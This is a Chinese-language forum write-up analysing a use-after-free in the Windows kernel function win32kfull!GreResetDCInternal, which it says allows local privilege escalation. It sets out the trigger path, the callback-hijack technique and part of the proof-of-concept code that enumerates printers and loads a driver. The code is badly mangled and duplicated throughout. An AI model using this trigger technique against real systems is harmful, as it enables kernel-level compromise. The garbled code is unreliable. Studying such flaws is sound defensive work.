内核模块win32kfull.sys
中存在UAF漏洞,利用此漏洞可实现本地提权
官方通报影响的windows版本:
Windows Server, version 2004/20H2(Server Core Installation)
Windows 10 Version 1607/1809/1909/2004/20H2/21H1
Windows 7 for 32/64-bit Systems Service Pack 1
Windows Server 2008/2012/2016/2019/2022
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows 8.1 for 32/64-bit systems
Windows RT 8.1
Windows版本:win10 1809 17763.107
UAF漏洞存在于win32kfull!GreResetDCInternal
函数中,函数的反汇编结果如下所示:
GreResetDCInternal
函数首先根据oldHDC
句柄创建一个DCOBJ
对象,紧接着调用hdcOpenDCW
函数创建一个newHDC
句柄,hdcOpenDCW内部会返回到用户态并调用回调函数DrvEnablePDEV
,正常情况下不会出现什么问题,当恶意攻击者劫持回调函数,在回调函数内将原来的oldDCOBJ
对象释放,当返回到内核态时,缺少安全性校验,根据newHDC创建的newDCOBJ
依然从oldDCOBJ对象中获取函数指针以及参数,因此造成该UAF漏洞的产生,一旦vuln_ptr
为垃圾数据时,调用vuln_ptr就会触发BSOD
如果你觉得IDA中的反汇编代码不够直观,可以参考@ly4k
整理的相关的源码
菜鸟初次分析,参考@ly4k的POC为主
漏洞验证关键的两点:
抵达漏洞的路径:从漏洞触发点往回分析,需要调用到win32kfull!GreResetDCInternal函数,而win32kfull!GreResetDCInternal函数位于win32kfull!NtGdiResetDC函数内部,win32kfull!NtGdiResetDC恰巧为ResetDC对应的内核态函数,因此抵达漏洞出发点的路径为
触发漏洞的环境:回调函数内释放原来的DCOBJ
漏洞验证可以分为以下步骤:
回调函数内值得思考的问题是如何释放DC呢?
我查阅两个明显的释放DC的API:ReleaseDC和DeleteDC,发现DeleteDC是符合当下情形的,因为DeleteDC对应的是CreateDC,而ReleaseDC对应的是GetWindowDC或者GetDC
然而经过我的尝试,DC并没有得到释放,得到一个错误号170:请求的资源在使用中。我想应该是DC的锁没有释放,那为什么ResetDC能够将DC的锁解除并释放DC呢?
GreResetDCInternal函数后面部分完成了DC对象解锁以及旧DC的释放
栈帧回溯:hdcOpenDCW > KeUserModeCallback
漏洞触发位置汇编代码:rax即为vuln_ptr
此处CFG并没有实现,只是一条跳转指令
当执行流程第二次来到call qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffff8260
62b48090)]`时
此时vuln_ptr已经为0x6161616161616161,继续执行触发BSOD
__int64 __fastcall GreResetDCInternal(HDC oldHDC, __int64 a2,
int
*
a3, __int64 a4, __int64 a5)
{
HDC v5;
/
/
r14
int
*
v6;
/
/
r13
int
v7;
/
/
r15d
HDC v8;
/
/
r12
unsigned
int
v9;
/
/
edi
DCOBJ
*
v10;
/
/
rbx
__int64 PDEVOBJ;
/
/
rbx
__int64 v12;
/
/
rax
DCOBJ
*
v13;
/
/
rcx
int
v14;
/
/
r13d
BOOL
v15;
/
/
r14d
int
v16;
/
/
esi
HDC newHDC;
/
/
rax
DCOBJ
*
v18;
/
/
rdx
void (__fastcall
*
vuln_ptr)(_QWORD, _QWORD);
/
/
rax
__int64 v21;
/
/
rax
__int64 v22;
/
/
rcx
bool
v23;
/
/
zf
int
v24;
/
/
[rsp
+
28h
] [rbp
-
51h
]
__int64 v25;
/
/
[rsp
+
58h
] [rbp
-
21h
] BYREF
DCOBJ
*
oldDCOBJ[
2
];
/
/
[rsp
+
60h
] [rbp
-
19h
] BYREF
DCOBJ
*
newDCOBJ[
11
];
/
/
[rsp
+
70h
] [rbp
-
9h
] BYREF
v5
=
oldHDC;
v6
=
a3;
v7
=
0
;
v8
=
0i64
;
v9
=
0
;
DCOBJ::DCOBJ((DCOBJ
*
)oldDCOBJ, oldHDC);
/
/
create a DCOBJ
from
HDC
v10
=
oldDCOBJ[
0
];
if
( !oldDCOBJ[
0
] )
{
EngSetLastError(
6u
);
v13
=
oldDCOBJ[
0
];
LABEL_38:
v16
=
v25;
goto LABEL_19;
}
v7
=
*
((_DWORD
*
)oldDCOBJ[
0
]
+
9
) &
0x800
;
/
/
offset
0x24
: flag
if
( v7 )
{
DC::bMakeInfoDC(oldDCOBJ[
0
],
0
);
v10
=
oldDCOBJ[
0
];
}
PDEVOBJ
=
*
((_QWORD
*
)v10
+
6
);
/
/
offset
0x30
: hdev
v12
=
*
(_QWORD
*
)(PDEVOBJ
+
0x6B0
);
*
(_QWORD
*
)(PDEVOBJ
+
0x6B0
)
=
0i64
;
v13
=
oldDCOBJ[
0
];
v25
=
v12;
if
( (
*
((_DWORD
*
)oldDCOBJ[
0
]
+
9
) &
0x100
) !
=
0
||
*
((_DWORD
*
)oldDCOBJ[
0
]
+
8
)
=
=
1
|| (
*
(_DWORD
*
)(PDEVOBJ
+
40
) &
0x80u
)
=
=
0
)
{
goto LABEL_38;
}
v14
=
*
((_DWORD
*
)oldDCOBJ[
0
]
+
0x1B
);
v15
=
*
((_QWORD
*
)oldDCOBJ[
0
]
+
0x3E
) !
=
0i64
;
v16
=
v15;
if
( XDCOBJ::bCleanDC((XDCOBJ
*
)oldDCOBJ,
0
) )
{
if
(
*
(_DWORD
*
)(PDEVOBJ
+
8
)
=
=
1
)
{
/
/
create a new HDC
and
back to user mode
newHDC
=
(HDC)hdcOpenDCW(&word_1C02CCD00, a2,
0i64
,
0i64
,
*
(_QWORD
*
)(PDEVOBJ
+
2560
), v25, a4, a5,
0
);
/
/
miss some validation of oldHDC, maybe the oldHDC has been released
v8
=
newHDC;
if
( newHDC )
{
*
(_QWORD
*
)(PDEVOBJ
+
0xA00
)
=
0i64
;
/
/
create a newDCOBJ
from
newHDC
DCOBJ::DCOBJ((DCOBJ
*
)newDCOBJ, newHDC);
v18
=
newDCOBJ[
0
];
if
( newDCOBJ[
0
] )
{
if
( v14 >
0
)
{
*
((_DWORD
*
)newDCOBJ[
0
]
+
27
)
=
*
((_DWORD
*
)newDCOBJ[
0
]
+
26
);
v18
=
newDCOBJ[
0
];
}
/
/
fetch data
from
oldDCOBJ, maybe the oldDCOBJ has been released
*
((_QWORD
*
)v18
+
0x101
)
=
*
((_QWORD
*
)oldDCOBJ[
0
]
+
0x101
);
*
((_QWORD
*
)oldDCOBJ[
0
]
+
0x101
)
=
0i64
;
*
((_QWORD
*
)newDCOBJ[
0
]
+
0x102
)
=
*
((_QWORD
*
)oldDCOBJ[
0
]
+
258
);
*
((_QWORD
*
)oldDCOBJ[
0
]
+
0x102
)
=
0i64
;
/
/
vuln_ptr can be a dangling function pointer
vuln_ptr
=
*
(void (__fastcall
*
*
)(_QWORD, _QWORD))(PDEVOBJ
+
0xAB8
);
if
( vuln_ptr )
vuln_ptr(
*
(_QWORD
*
)(PDEVOBJ
+
0x708
),
*
(_QWORD
*
)(
*
((_QWORD
*
)newDCOBJ[
0
]
+
6
)
+
0x708i64
));
/
/
...
}
__int64 __fastcall GreResetDCInternal(HDC oldHDC, __int64 a2,
int
*
a3, __int64 a4, __int64 a5)
{
HDC v5;
/
/
r14
int
*
v6;
/
/
r13
int
v7;
/
/
r15d
HDC v8;
/
/
r12
unsigned
int
v9;
/
/
edi
DCOBJ
*
v10;
/
/
rbx
__int64 PDEVOBJ;
/
/
rbx
__int64 v12;
/
/
rax
DCOBJ
*
v13;
/
/
rcx
int
v14;
/
/
r13d
BOOL
v15;
/
/
r14d
int
v16;
/
/
esi
HDC newHDC;
/
/
rax
DCOBJ
*
v18;
/
/
rdx
void (__fastcall
*
vuln_ptr)(_QWORD, _QWORD);
/
/
rax
__int64 v21;
/
/
rax
__int64 v22;
/
/
rcx
bool
v23;
/
/
zf
int
v24;
/
/
[rsp
+
28h
] [rbp
-
51h
]
__int64 v25;
/
/
[rsp
+
58h
] [rbp
-
21h
] BYREF
DCOBJ
*
oldDCOBJ[
2
];
/
/
[rsp
+
60h
] [rbp
-
19h
] BYREF
DCOBJ
*
newDCOBJ[
11
];
/
/
[rsp
+
70h
] [rbp
-
9h
] BYREF
v5
=
oldHDC;
v6
=
a3;
v7
=
0
;
v8
=
0i64
;
v9
=
0
;
DCOBJ::DCOBJ((DCOBJ
*
)oldDCOBJ, oldHDC);
/
/
create a DCOBJ
from
HDC
v10
=
oldDCOBJ[
0
];
if
( !oldDCOBJ[
0
] )
{
EngSetLastError(
6u
);
v13
=
oldDCOBJ[
0
];
LABEL_38:
v16
=
v25;
goto LABEL_19;
}
v7
=
*
((_DWORD
*
)oldDCOBJ[
0
]
+
9
) &
0x800
;
/
/
offset
0x24
: flag
if
( v7 )
{
DC::bMakeInfoDC(oldDCOBJ[
0
],
0
);
v10
=
oldDCOBJ[
0
];
}
PDEVOBJ
=
*
((_QWORD
*
)v10
+
6
);
/
/
offset
0x30
: hdev
v12
=
*
(_QWORD
*
)(PDEVOBJ
+
0x6B0
);
*
(_QWORD
*
)(PDEVOBJ
+
0x6B0
)
=
0i64
;
v13
=
oldDCOBJ[
0
];
v25
=
v12;
if
( (
*
((_DWORD
*
)oldDCOBJ[
0
]
+
9
) &
0x100
) !
=
0
||
*
((_DWORD
*
)oldDCOBJ[
0
]
+
8
)
=
=
1
|| (
*
(_DWORD
*
)(PDEVOBJ
+
40
) &
0x80u
)
=
=
0
)
{
goto LABEL_38;
}
v14
=
*
((_DWORD
*
)oldDCOBJ[
0
]
+
0x1B
);
v15
=
*
((_QWORD
*
)oldDCOBJ[
0
]
+
0x3E
) !
=
0i64
;
v16
=
v15;
if
( XDCOBJ::bCleanDC((XDCOBJ
*
)oldDCOBJ,
0
) )
{
if
(
*
(_DWORD
*
)(PDEVOBJ
+
8
)
=
=
1
)
{
/
/
create a new HDC
and
back to user mode
newHDC
=
(HDC)hdcOpenDCW(&word_1C02CCD00, a2,
0i64
,
0i64
,
*
(_QWORD
*
)(PDEVOBJ
+
2560
), v25, a4, a5,
0
);
/
/
miss some validation of oldHDC, maybe the oldHDC has been released
v8
=
newHDC;
if
( newHDC )
{
*
(_QWORD
*
)(PDEVOBJ
+
0xA00
)
=
0i64
;
/
/
create a newDCOBJ
from
newHDC
DCOBJ::DCOBJ((DCOBJ
*
)newDCOBJ, newHDC);
v18
=
newDCOBJ[
0
];
if
( newDCOBJ[
0
] )
{
if
( v14 >
0
)
{
*
((_DWORD
*
)newDCOBJ[
0
]
+
27
)
=
*
((_DWORD
*
)newDCOBJ[
0
]
+
26
);
v18
=
newDCOBJ[
0
];
}
/
/
fetch data
from
oldDCOBJ, maybe the oldDCOBJ has been released
*
((_QWORD
*
)v18
+
0x101
)
=
*
((_QWORD
*
)oldDCOBJ[
0
]
+
0x101
);
*
((_QWORD
*
)oldDCOBJ[
0
]
+
0x101
)
=
0i64
;
*
((_QWORD
*
)newDCOBJ[
0
]
+
0x102
)
=
*
((_QWORD
*
)oldDCOBJ[
0
]
+
258
);
*
((_QWORD
*
)oldDCOBJ[
0
]
+
0x102
)
=
0i64
;
/
/
vuln_ptr can be a dangling function pointer
vuln_ptr
=
*
(void (__fastcall
*
*
)(_QWORD, _QWORD))(PDEVOBJ
+
0xAB8
);
if
( vuln_ptr )
vuln_ptr(
*
(_QWORD
*
)(PDEVOBJ
+
0x708
),
*
(_QWORD
*
)(
*
((_QWORD
*
)newDCOBJ[
0
]
+
6
)
+
0x708i64
));
/
/
...
}
BOOL
GreResetDCInternal(
HDC hdc,
DEVMODEW
*
pdmw,
BOOL
*
pbBanding,
DRIVER_INFO_2W
*
pDriverInfo2,
PVOID ppUMdhpdev)
{
/
/
[...]
HDC hdcNew;
{
/
/
Create DCOBJ
from
HDC
DCOBJ dco(hdc);
if
(!dco.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
/
/
Create DEVOBJ
from
`dco`
PDEVOBJ po(dco.hdev());
/
/
[...]
/
/
Create the new DC
/
/
VULN: Can result
in
a usermode callback that destroys old DC, which
/
/
invalidates `dco`
and
`po`
hdcNew
=
hdcOpenDCW(L"",
pdmw,
DCTYPE_DIRECT,
po.hSpooler,
prton,
pDriverInfo2,
ppUMdhpdev);
if
(hdcNew)
{
po
-
>hSpooler
=
NULL;
DCOBJ dcoNew(hdcNew);
if
(!dcoNew.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
/
/
Transfer
any
remote fonts
dcoNew
-
>pPFFList
=
dco
-
>pPFFList;
dco
-
>pPFFList
=
NULL;
/
/
Transfer
any
color transform
dcoNew
-
>pCXFList
=
dco
-
>pCXFList;
dco
-
>pCXFList
=
NULL;
PDEVOBJ poNew((HDEV)dcoNew.pdc
-
>ppdev());
/
/
Let the driver know
/
/
VULN: Method
is
taken
from
old (possibly destroyed) `po`
PFN_DrvResetPDEV rfn
=
po
-
>ppfn[INDEX_DrvResetPDEV];
if
(rfn !
=
NULL)
{
(
*
rfn)(po
-
>dhpdev, poNew
-
>dhpdev);
}
/
/
[...]
}
}
}
}
/
/
Destroy old DC
/
/
[...]
}
BOOL
GreResetDCInternal(
HDC hdc,
DEVMODEW
*
pdmw,
BOOL
*
pbBanding,
DRIVER_INFO_2W
*
pDriverInfo2,
PVOID ppUMdhpdev)
{
/
/
[...]
HDC hdcNew;
{
/
/
Create DCOBJ
from
HDC
DCOBJ dco(hdc);
if
(!dco.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
/
/
Create DEVOBJ
from
`dco`
PDEVOBJ po(dco.hdev());
/
/
[...]
/
/
Create the new DC
/
/
VULN: Can result
in
a usermode callback that destroys old DC, which
/
/
invalidates `dco`
and
`po`
hdcNew
=
hdcOpenDCW(L"",
pdmw,
DCTYPE_DIRECT,
po.hSpooler,
prton,
pDriverInfo2,
ppUMdhpdev);
if
(hdcNew)
{
po
-
>hSpooler
=
NULL;
DCOBJ dcoNew(hdcNew);
if
(!dcoNew.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
/
/
Transfer
any
remote fonts
dcoNew
-
>pPFFList
=
dco
-
>pPFFList;
dco
-
>pPFFList
=
NULL;
/
/
Transfer
any
color transform
dcoNew
-
>pCXFList
=
dco
-
>pCXFList;
dco
-
>pCXFList
=
NULL;
PDEVOBJ poNew((HDEV)dcoNew.pdc
-
>ppdev());
/
/
Let the driver know
/
/
VULN: Method
is
taken
from
old (possibly destroyed) `po`
PFN_DrvResetPDEV rfn
=
po
-
>ppfn[INDEX_DrvResetPDEV];
if
(rfn !
=
NULL)
{
(
*
rfn)(po
-
>dhpdev, poNew
-
>dhpdev);
}
/
/
[...]
}
}
}
}
/
/
Destroy old DC
/
/
[...]
}
ResetDC
-
> win32kfull!NtGdiResetDC
-
> win32kfull!GreResetDCInternal
-
> 漏洞点
ResetDC
-
> win32kfull!NtGdiResetDC
-
> win32kfull!GreResetDCInternal
-
> 漏洞点
/
/
get the
buffer
size to store the PRINTER_INFO_4 structures
DWORD needBytes
=
0
, returnCount
=
0
;
EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr,
4
, nullptr,
0
, &needBytes, &returnCount);
if
(!needBytes) {
ErrorOutput(
"[-] Failed to get buffer size for printer structures\n"
);
exit(
1
);
}
/
/
allocate a
buffer
to store the PRINTER_INFO_4 structures
PPRINTER_INFO_4A pPrinterArray
=
(PPRINTER_INFO_4A)malloc(needBytes);
if
(!pPrinterArray) {
ErrorOutput(
"[-] Failed to allocate a buffer for printer structures\n"
);
exit(
1
);
}
if
(!EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr,
4
, (LPBYTE)pPrinterArray, needBytes, &needBytes, &returnCount)) {
ErrorOutput(
"[-] Failed to enum printers\n"
);
exit(
1
);
}
/
/
get the
buffer
size to store the PRINTER_INFO_4 structures
DWORD needBytes
=
0
, returnCount
=
0
;
EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr,
4
, nullptr,
0
, &needBytes, &returnCount);
if
(!needBytes) {
ErrorOutput(
"[-] Failed to get buffer size for printer structures\n"
);
exit(
1
);
}
/
/
allocate a
buffer
to store the PRINTER_INFO_4 structures
PPRINTER_INFO_4A pPrinterArray
=
(PPRINTER_INFO_4A)malloc(needBytes);
if
(!pPrinterArray) {
ErrorOutput(
"[-] Failed to allocate a buffer for printer structures\n"
);
exit(
1
);
}
if
(!EnumPrintersA(PRINTER_ENUM_LOCAL, nullptr,
4
, (LPBYTE)pPrinterArray, needBytes, &needBytes, &returnCount)) {
ErrorOutput(
"[-] Failed to enum printers\n"
);
exit(
1
);
}
PRINTER_INFO_4A pPrinterInfo
=
{
0
};
/
/
enum printer structure array
for
(DWORD idx
=
0
; idx < returnCount;
+
+
idx)
{
pPrinterInfo
=
pPrinterArray[idx];
if
(!pPrinterInfo.pPrinterName)
continue
;
printf(
"[+] Try the printer: %s\n"
, pPrinterInfo.pPrinterName);
/
/
open
the printer
HANDLE hPrinter;
if
(!OpenPrinterA(pPrinterInfo.pPrinterName, &hPrinter, nullptr))
{
ErrorOutput(
"[-] Failed to open the printer\n"
);
continue
;
}
printf(
"[+] Open the driver: %s\n"
, pPrinterInfo.pPrinterName);
/
/
get the driver path
needBytes
=
0
;
GetPrinterDriverA(hPrinter, nullptr,
2
, nullptr,
0
, &needBytes);
if
(!needBytes)
{
ErrorOutput(
"[-] Failed to get buffer size for printer driver structures\n"
);
continue
;
}
PDRIVER_INFO_2A pDriverArray
=
(PDRIVER_INFO_2A)malloc(needBytes);
if
(!pDriverArray)
ErrorOutput(
"[-] Failed to allocate a buffer for driver structures\n"
);
if
(!GetPrinterDriverA(hPrinter, nullptr,
2
, (LPBYTE)pDriverArray, needBytes, &needBytes))
{
ErrorOutput(
"[-] Failed to enum the printer drivers\n"
);
continue
;
}
printf(
"[+] Driver path: %s\n"
, pDriverArray
-
>pDriverPath);
/
/
load the driver to memory with the absolute path
HMODULE hDriver
=
LoadLibraryExA(pDriverArray
-
>pDriverPath, nullptr, LOAD_WITH_ALTERED_SEARCH_PATH);
if
(!hDriver)
{
ErrorOutput(
"[-] Failed to load the driver to memory\n"
);
continue
;
}
/
/
...
}
PRINTER_INFO_4A pPrinterInfo
=
{
0
};
/
/
enum printer structure array
for
(DWORD idx
=
0
; idx < returnCount;
+
+
idx)
{
pPrinterInfo
=
pPrinterArray[idx];
if
(!pPrinterInfo.pPrinterName)
continue
;
printf(
"[+] Try the printer: %s\n"
, pPrinterInfo.pPrinterName);
/
/
open
the printer
HANDLE hPrinter;
if
(!OpenPrinterA(pPrinterInfo.pPrinterName, &hPrinter, nullptr))
{
ErrorOutput(
"[-] Failed to open the printer\n"
);
continue
;
}
printf(
"[+] Open the driver: %s\n"
, pPrinterInfo.pPrinterName);
/
/
get the driver path
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-2-9 19:35
被Jimpp编辑
,原因: